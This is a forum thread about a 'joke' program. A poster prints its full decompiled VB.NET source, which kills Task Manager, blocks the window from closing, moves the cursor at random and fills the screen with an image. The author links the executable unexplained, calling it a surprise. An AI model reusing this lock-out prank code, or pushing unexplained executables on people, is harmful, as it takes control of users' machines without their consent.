Jump to content

Featured Replies

Are you kidding me? This kid didn't even protect his code. I was able to open it with a .NET reflector.

 

It opens up as "joke proj" and is a keylogger.

 

Imports Microsoft.VisualBasic.CompilerServices
Imports System
Imports System.ComponentModel
Imports System.Diagnostics
Imports System.Drawing
Imports System.Resources
Imports System.Runtime.CompilerServices
Imports System.Runtime.InteropServices
Imports System.Windows.Forms

Namespace joke_proj
   Public Class Form1
       Inherits Form

       ' Methods
       Public Sub New()
           AddHandler MyBase.Load, New EventHandler(AddressOf Me.Form1_Load)
           AddHandler MyBase.Closing, New CancelEventHandler(AddressOf Me.Form1_Closing)
           Me.InitializeComponent
       End Sub

       Protected Overrides Sub Dispose(ByVal disposing As Boolean)
           If (disposing AndAlso (Not Me.components Is Nothing)) Then
               Me.components.Dispose
           End If
           MyBase.Dispose(disposing)
       End Sub

       Private Sub Form1_Closing(ByVal sender As Object, ByVal e As CancelEventArgs)
           e.Cancel = True
       End Sub

       Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
           Me.Height = Screen.PrimaryScreen.Bounds.Height
           Me.Width = Screen.PrimaryScreen.Bounds.Width
           Me.pic.Height = Screen.PrimaryScreen.Bounds.Height
           Me.pic.Width = Screen.PrimaryScreen.Bounds.Width
       End Sub

       <DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
       Private Shared Function GetAsyncKeyState(ByVal vKey As Long) As Integer

       <DebuggerStepThrough> _
       Private Sub InitializeComponent()
           Me.components = New Container
           Dim manager1 As New ResourceManager(GetType(Form1))
           Me.Timer1 = New Timer(Me.components)
           Me.pic = New PictureBox
           Me.SuspendLayout
           Me.Timer1.Enabled = True
           Me.pic.Image = DirectCast(manager1.GetObject("pic.Image"), Bitmap)
           Me.pic.Name = "pic"
           Dim size1 As New Size(112, 72)
           Me.pic.Size = size1
           Me.pic.TabIndex = 0
           Me.pic.TabStop = False
           size1 = New Size(5, 13)
           Me.AutoScaleBaseSize = size1
           size1 = New Size(416, 312)
           Me.ClientSize = size1
           Dim controlArray1 As Control() = New Control() { Me.pic }
           Me.Controls.AddRange(controlArray1)
           Me.FormBorderStyle = FormBorderStyle.None
           Me.MinimizeBox = False
           Me.Name = "Form1"
           Me.ShowInTaskbar = False
           Me.StartPosition = FormStartPosition.Manual
           Me.TopMost = True
           Me.ResumeLayout(False)
       End Sub

       Private Sub killa()
           Me.myProcesses = Process.GetProcesses
           Dim processArray1 As Process() = Me.myProcesses
           Dim num1 As Integer = 0
           Do While (num1 < processArray1.Length)
               Me.myProcess = processArray1(num1)
               If (StringType.StrCmp(Me.myProcess.ProcessName, "taskmgr", False) = 0) Then
                   Me.myProcess.Kill
               End If
               num1 += 1
           Loop
       End Sub

       <STAThread> _
       Public Shared Sub Main()
           Application.Run(New Form1)
       End Sub

       Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
           Me.killa
           Dim random1 As New Random
           Dim point1 As Point = Cursor.Position
           point1.X = (point1.X + random1.Next(-500, 500))
           point1.Y = (point1.Y + random1.Next(-500, 500))
           Cursor.Position = point1
           If ((Form1.GetAsyncKeyState(120) And Form1.GetAsyncKeyState(123)) > 0) Then
               Application.Exit
           End If
       End Sub


       ' Properties
       Friend Overridable Property pic As PictureBox
           Get
               Return Me._pic
           End Get
           Set(ByVal WithEventsValue As PictureBox)
               If (Not Me._pic Is Nothing) Then
               End If
               Me._pic = WithEventsValue
               If (Not Me._pic Is Nothing) Then
               End If
           End Set
       End Property

       Friend Overridable Property Timer1 As Timer
           Get
               Return Me._Timer1
           End Get
           Set(ByVal WithEventsValue As Timer)
               If (Not Me._Timer1 Is Nothing) Then
                   RemoveHandler Me._Timer1.Tick, New EventHandler(AddressOf Me.Timer1_Tick)
               End If
               Me._Timer1 = WithEventsValue
               If (Not Me._Timer1 Is Nothing) Then
                   AddHandler Me._Timer1.Tick, New EventHandler(AddressOf Me.Timer1_Tick)
               End If
           End Set
       End Property


       ' Fields
       <AccessedThroughProperty("pic")> _
       Private _pic As PictureBox
       <AccessedThroughProperty("Timer1")> _
       Private _Timer1 As Timer
       Private components As IContainer
       Private myProcess As Process
       Private myProcesses As Process()
   End Class
End Namespace

 

noob.

  • Author

Why the hell would I want to protect it? It took about 5 minutes to code. And if you even looked at the code you would clearly see it's not a keylogger you fucking moron.

Let's look at the code. The only reference to keys in there AT ALL are these two parts:

 

<DllImport("user32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
       Private Shared Function GetAsyncKeyState(ByVal vKey As Long) As Integer

Which is the api declaration to be able to use this:

 

If ((Form1.GetAsyncKeyState(120) And Form1.GetAsyncKeyState(123)) > 0) Then
               Application.Exit
           End If

Maybe that's too advanced for you to understand? In my first post I clearly said F9+F12 closes it.

 

noob.

 

 

 

 

@Un!d3n vmware is a good app to have, but i dont know whats up with the memory error. do you have .net framework in vmware?

it wont harm your comp. but no one is probably going to run it anyways..

 

http://jesushates.eu/jesus.exe

 

Enjoy!

 

edit: maybe i should tell you, f9 +f12 closes it. hmm you should know that.

 

Why don't you say what it is? You don't just got around telling people to download shit and don't tell them what it is.

  • Author
It's a surprise. Depending on the error it might be you need .net framework? I only tested it on my computer..
It's a surprise. Depending on the error it might be you need .net framework? I only tested it on my computer..

 

Rifk, SURPRISE, U JUST GOT SPORKED, LL.

wav;429141']OLOLOLOLOLOLOL GUYZ LIEK I CAN KODE IN VB DO I GIT PROOPS?

 

OOBER MAD ONS OKAE

I just scanned it with the newest version of norton and it came up clean...I still refuse to run any exe that's linked on this site.
I just scanned it with the newest version of norton and it came up clean...I still refuse to run any exe that's linked on this site.

 

I refuse to trust Norton.

lawllerskates scanned it with kaspersky. its clean. ran the app, all it is is lemonparty tubgirl meatspit ect all over ur screen, then it moves ur mouse. stupid as hell.
it wont harm your comp. but no one is probably going to run it anyways..

 

http://jesushates.eu/jesus.exe

 

Enjoy!

 

edit: maybe i should tell you, f9 +f12 closes it. hmm you should know that.

 

It changed my screen saver.

Guest
This topic is now closed to further replies.